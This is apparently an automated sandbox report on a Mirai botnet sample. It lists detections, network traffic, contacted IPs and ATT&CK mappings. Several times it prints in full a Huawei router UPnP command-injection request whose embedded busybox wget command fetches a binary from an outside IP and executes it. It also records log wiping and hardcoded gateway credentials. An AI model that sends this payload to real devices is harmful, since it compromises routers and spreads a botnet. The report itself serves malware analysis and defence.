4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/nig.arm4.elf (PID: 5421)

Socket: 127.0.0.1::2353

Jump to behavior

Source: global traffic

TCP traffic: 192.168.2.13:48202 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 157.28.74.141
Source: unknown	TCP traffic detected without corresponding DNS query: 19.205.88.143
Source: unknown	TCP traffic detected without corresponding DNS query: 41.107.9.158
Source: unknown	TCP traffic detected without corresponding DNS query: 157.35.129.71
Source: unknown	TCP traffic detected without corresponding DNS query: 157.15.137.242
Source: unknown	TCP traffic detected without corresponding DNS query: 197.164.98.124
Source: unknown	TCP traffic detected without corresponding DNS query: 157.140.116.177
Source: unknown	TCP traffic detected without corresponding DNS query: 155.253.82.227
Source: unknown	TCP traffic detected without corresponding DNS query: 157.207.193.12
Source: unknown	TCP traffic detected without corresponding DNS query: 197.199.56.187
Source: unknown	TCP traffic detected without corresponding DNS query: 157.147.171.105
Source: unknown	TCP traffic detected without corresponding DNS query: 41.211.112.60
Source: unknown	TCP traffic detected without corresponding DNS query: 41.105.228.61
Source: unknown	TCP traffic detected without corresponding DNS query: 197.39.93.60
Source: unknown	TCP traffic detected without corresponding DNS query: 197.211.43.253
Source: unknown	TCP traffic detected without corresponding DNS query: 197.222.102.236
Source: unknown	TCP traffic detected without corresponding DNS query: 41.61.168.233
Source: unknown	TCP traffic detected without corresponding DNS query: 197.42.227.2
Source: unknown	TCP traffic detected without corresponding DNS query: 121.98.46.99
Source: unknown	TCP traffic detected without corresponding DNS query: 41.134.29.116
Source: unknown	TCP traffic detected without corresponding DNS query: 197.53.37.99
Source: unknown	TCP traffic detected without corresponding DNS query: 13.41.183.121
Source: unknown	TCP traffic detected without corresponding DNS query: 197.144.83.202
Source: unknown	TCP traffic detected without corresponding DNS query: 41.149.2.210
Source: unknown	TCP traffic detected without corresponding DNS query: 197.130.193.62
Source: unknown	TCP traffic detected without corresponding DNS query: 157.44.73.172
Source: unknown	TCP traffic detected without corresponding DNS query: 157.227.65.198
Source: unknown	TCP traffic detected without corresponding DNS query: 157.76.175.7
Source: unknown	TCP traffic detected without corresponding DNS query: 197.124.70.97
Source: unknown	TCP traffic detected without corresponding DNS query: 157.57.106.156
Source: unknown	TCP traffic detected without corresponding DNS query: 207.19.37.64
Source: unknown	TCP traffic detected without corresponding DNS query: 41.39.2.166
Source: unknown	TCP traffic detected without corresponding DNS query: 197.138.52.202
Source: unknown	TCP traffic detected without corresponding DNS query: 157.124.46.78
Source: unknown	TCP traffic detected without corresponding DNS query: 25.148.179.41
Source: unknown	TCP traffic detected without corresponding DNS query: 197.127.143.106
Source: unknown	TCP traffic detected without corresponding DNS query: 157.104.80.130
Source: unknown	TCP traffic detected without corresponding DNS query: 197.159.61.5
Source: unknown	TCP traffic detected without corresponding DNS query: 157.180.245.249
Source: unknown	TCP traffic detected without corresponding DNS query: 41.138.70.217
Source: unknown	TCP traffic detected without corresponding DNS query: 157.112.16.129
Source: unknown	TCP traffic detected without corresponding DNS query: 197.193.38.152
Source: unknown	TCP traffic detected without corresponding DNS query: 197.166.142.164
Source: unknown	TCP traffic detected without corresponding DNS query: 197.16.115.248
Source: unknown	TCP traffic detected without corresponding DNS query: 157.221.197.177
Source: unknown	TCP traffic detected without corresponding DNS query: 197.181.238.144
Source: unknown	TCP traffic detected without corresponding DNS query: 157.47.29.163
Source: unknown	TCP traffic detected without corresponding DNS query: 178.164.116.54
Source: unknown	TCP traffic detected without corresponding DNS query: 197.253.139.141
Source: unknown	TCP traffic detected without corresponding DNS query: 78.48.81.254

Source: unknown

DNS traffic detected: queries for: cumshot.vip

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: nig.arm4.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: nig.arm4.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown

Network traffic detected: HTTP traffic on port 48202 -> 443

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: sys_monitor_cnrbusyboxadbddockerdBlink_Cloudsystemdhttpshsshdbashmsg_centerlte_mgrmain_mgrnig./tmp/var/mnt/root/boot/sbin/home/dev/media/opt/../(deleted)x86armmipsmpslsh4%s/%s//bin/dev/null/dev/console/var/lib/docker/proc/%d/proc/selfabcdefghijklmnopqrstuvwxyz/tmp/%s%s%c/proc/self/cmdline/dev/watchdog/dev/misc/watchdog/sbin/watchdog/dev/FTWDT101_watchdog/dev/FTWDT101/watchdog/dev/watchdog0/etc/default/watchdog/etc/watchdogkuru is just better

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/nig.arm4.elf (PID: 5426)

SIGKILL sent: pid: 660, result: successful

Jump to behavior

Source: classification engine

Classification label: mal80.troj.evad.linELF@0/1@3/0

Data Obfuscation

Manipulation of devices in /dev

Source: /tmp/nig.arm4.elf (PID: 5429)

Deleted: /dev/kmsg

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes system log files

Source: /tmp/nig.arm4.elf (PID: 5429)

Log files deleted: /var/log/kern.log

Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 44886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 56162

Source: /tmp/nig.arm4.elf (PID: 5429)	Truncated file: /var/log/syslog	Jump to behavior
Source: /tmp/nig.arm4.elf (PID: 5429)	Truncated file: /var/log/kern.log	Jump to behavior
Source: /tmp/nig.arm4.elf (PID: 5429)	Truncated file: /var/log/journal/ee49dfd4fa47433baee88884e2d7de7c/system.journal	Jump to behavior
Source: /tmp/nig.arm4.elf (PID: 5429)	Truncated file: /var/log/journal/ee49dfd4fa47433baee88884e2d7de7c/user-1000.journal	Jump to behavior

Source: /tmp/nig.arm4.elf (PID: 5421)

Queries kernel information via 'uname':

Jump to behavior

Source: nig.arm4.elf, 5421.1.0000559eafa78000.0000559eafba6000.rw-.sdmp, nig.arm4.elf, 5426.1.0000559eafa78000.0000559eafba6000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: nig.arm4.elf, 5421.1.0000559eafa78000.0000559eafba6000.rw-.sdmp, nig.arm4.elf, 5426.1.0000559eafa78000.0000559eafba6000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: nig.arm4.elf, 5421.1.00007ffd91148000.00007ffd91169000.rw-.sdmp, nig.arm4.elf, 5426.1.00007ffd91148000.00007ffd91169000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: nig.arm4.elf, 5421.1.00007ffd91148000.00007ffd91169000.rw-.sdmp, nig.arm4.elf, 5426.1.00007ffd91148000.00007ffd91169000.rw-.sdmp	Binary or memory string: lx86_64/usr/bin/qemu-arm/tmp/nig.arm4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nig.arm4.elf
Source: nig.arm4.elf, 5426.1.00007ffd91148000.00007ffd91169000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: nig.arm4.elf, type: SAMPLE
Source: Yara match	File source: 5421.1.00007f3f7c017000.00007f3f7c02d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5426.1.00007f3f7c017000.00007f3f7c02d000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: nig.arm4.elf, type: SAMPLE
Source: Yara match	File source: 5421.1.00007f3f7c017000.00007f3f7c02d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5426.1.00007f3f7c017000.00007f3f7c02d000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	11 Indicator Removal	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	3 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
nig.arm4.elf	54%	ReversingLabs	Linux.Trojan.Mirai
nig.arm4.elf	100%	Avira	EXP/ELF.Mirai.Gen.W

Dropped Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
cumshot.vip	0%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.24	true	false		high
cumshot.vip	93.123.85.35	true	false	0%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	nig.arm4.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	nig.arm4.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
69.226.27.146	unknown	United States	7018	ATT-INTERNET4US	false
41.121.172.253	unknown	South Africa	16637	MTNNS-ASZA	false
197.67.168.157	unknown	South Africa	16637	MTNNS-ASZA	false
157.105.123.62	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
41.71.246.19	unknown	Nigeria	37053	RSAWEB-ASZA	false
197.67.29.125	unknown	South Africa	16637	MTNNS-ASZA	false
157.168.229.26	unknown	Switzerland	22192	SSHENETUS	false
17.23.77.147	unknown	United States	714	APPLE-ENGINEERINGUS	false
197.136.200.51	unknown	Kenya	36914	KENET-ASKE	false
39.2.109.176	unknown	Japan	174	COGENT-174US	false
197.206.163.90	unknown	Algeria	36947	ALGTEL-ASDZ	false
57.32.117.3	unknown	Belgium	2686	ATGS-MMD-ASUS	false
41.227.233.212	unknown	Tunisia	2609	TN-BB-ASTunisiaBackBoneASTN	false
117.190.130.201	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
197.226.239.70	unknown	Mauritius	23889	MauritiusTelecomMU	false
157.199.114.227	unknown	United States	3356	LEVEL3US	false
41.252.72.7	unknown	Libyan Arab Jamahiriya	21003	GPTC-ASLY	false
41.37.180.39	unknown	Egypt	8452	TE-ASTE-ASEG	false
157.245.157.92	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
20.46.79.153	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
197.43.51.157	unknown	Egypt	8452	TE-ASTE-ASEG	false
65.170.114.92	unknown	United States	1239	SPRINTLINKUS	false
41.80.203.155	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
157.157.40.83	unknown	Iceland	6677	ICENET-AS1IS	false
197.130.137.44	unknown	Morocco	6713	IAM-ASMA	false
157.251.170.217	unknown	United States	32934	FACEBOOKUS	false
157.59.234.221	unknown	United States	3598	MICROSOFT-CORP-ASUS	false
41.220.60.240	unknown	unknown	36900	UNASSIGNED	false
157.190.3.68	unknown	Ireland	1213	HEANETIE	false
157.155.254.124	unknown	Australia	17983	COLESMYER-AS-APColesMyerAU	false
41.54.12.247	unknown	South Africa	37168	CELL-CZA	false
157.144.246.104	unknown	Finland	719	ELISA-ASHelsinkiFinlandEU	false
39.145.110.114	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
41.228.223.105	unknown	Tunisia	37693	TUNISIANATN	false
157.108.11.229	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
41.172.168.208	unknown	South Africa	36937	Neotel-ASZA	false
197.180.156.31	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
41.108.247.65	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.190.238.212	unknown	Ghana	37140	zain-asGH	false
41.141.72.158	unknown	Morocco	36903	MT-MPLSMA	false
157.2.29.22	unknown	Japan	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
197.122.183.171	unknown	Egypt	36992	ETISALAT-MISREG	false
145.12.102.127	unknown	Netherlands	203396	MINEZ-DICTUNL	false
41.110.52.230	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.95.189.159	unknown	Sudan	36998	SDN-MOBITELSD	false
41.62.52.9	unknown	unknown	37705	TOPNETTN	false
41.3.151.106	unknown	South Africa	29975	VODACOM-ZA	false
197.183.197.251	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
66.28.112.60	unknown	United States	174	COGENT-174US	false
41.87.174.97	unknown	Botswana	14988	BTC-GATE1BW	false
41.146.109.180	unknown	South Africa	5713	SAIX-NETZA	false
157.202.152.47	unknown	United States	1759	TSF-IP-CORETeliaFinlandOyjEU	false
41.201.246.152	unknown	Algeria	36947	ALGTEL-ASDZ	false
157.129.88.254	unknown	Finland	41701	CAP-FIN-ASFI	false
41.110.52.228	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.16.212.251	unknown	Tunisia	37693	TUNISIANATN	false
9.175.253.59	unknown	United States	3356	LEVEL3US	false
41.228.193.86	unknown	Tunisia	37693	TUNISIANATN	false
197.158.252.130	unknown	Seychelles	37343	AirtelSeychellesSC	false
41.198.64.137	unknown	South Africa	5713	SAIX-NETZA	false
171.242.37.192	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false
46.39.123.233	unknown	Sweden	50821	ASHPDCSE	false
197.219.199.183	unknown	Mozambique	37342	MOVITELMZ	false
41.73.84.216	unknown	unknown	37004	Suburban-Broadband-ASNG	false
41.19.31.126	unknown	South Africa	29975	VODACOM-ZA	false
197.40.144.150	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.57.232.95	unknown	Ghana	37103	BUSYINTERNETGH	false
41.194.30.30	unknown	South Africa	22351	INTELSAT-1US	false
157.86.23.26	unknown	Brazil	21612	FUNDACAOINSTITUTOOSWALDOCRUZBR	false
197.252.128.141	unknown	Sudan	15706	SudatelSD	false
49.50.233.60	unknown	Thailand	23884	PROENNET-ASProenCorpPublicCompanyLimitedTH	false
41.195.173.35	unknown	South Africa	16637	MTNNS-ASZA	false
157.112.196.122	unknown	Japan	55394	GREE-NETGREEIncJP	false
157.40.24.226	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
157.44.191.86	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
43.227.118.19	unknown	Korea Republic of	45974	NHN-AS-KRNHNKR	false
41.73.35.1	unknown	South Africa	37105	NEOLOGY-ASZA	false
197.250.1.129	unknown	Tanzania United Republic of	36908	VTL-ASNTZ	false
157.112.196.128	unknown	Japan	55394	GREE-NETGREEIncJP	false
41.125.243.165	unknown	South Africa	16637	MTNNS-ASZA	false
41.26.24.234	unknown	South Africa	29975	VODACOM-ZA	false
41.26.184.253	unknown	South Africa	29975	VODACOM-ZA	false
197.149.160.114	unknown	South Africa	37438	GijimaZA	false
197.46.154.86	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.35.57.73	unknown	Egypt	8452	TE-ASTE-ASEG	false
99.51.253.204	unknown	United States	7018	ATT-INTERNET4US	false
41.100.38.126	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.220.141.84	unknown	Lesotho	33567	TELECOM-LESOTHOLS	false
172.115.51.143	unknown	United States	20001	TWC-20001-PACWESTUS	false
157.35.139.47	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
41.203.238.26	unknown	Burkina Faso	25543	FasoNet-ASBF	false
197.162.72.170	unknown	Egypt	24863	LINKdotNET-ASEG	false
41.220.145.137	unknown	Algeria	327931	Optimum-Telecom-AlgeriaDZ	false
197.247.118.72	unknown	Morocco	36925	ASMediMA	false
41.217.127.145	unknown	Nigeria	37340	SpectranetNG	false
197.131.5.149	unknown	Morocco	6713	IAM-ASMA	false
157.28.100.4	unknown	Italy	8968	BT-ITALIAIT	false
197.169.124.219	unknown	South Africa	37168	CELL-CZA	false
157.240.74.40	unknown	United States	32934	FACEBOOKUS	false
41.51.170.56	unknown	South Africa	37168	CELL-CZA	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
197.206.163.90	bok.arm7-20230314-2128.elf	Get hash	malicious	Mirai	Browse
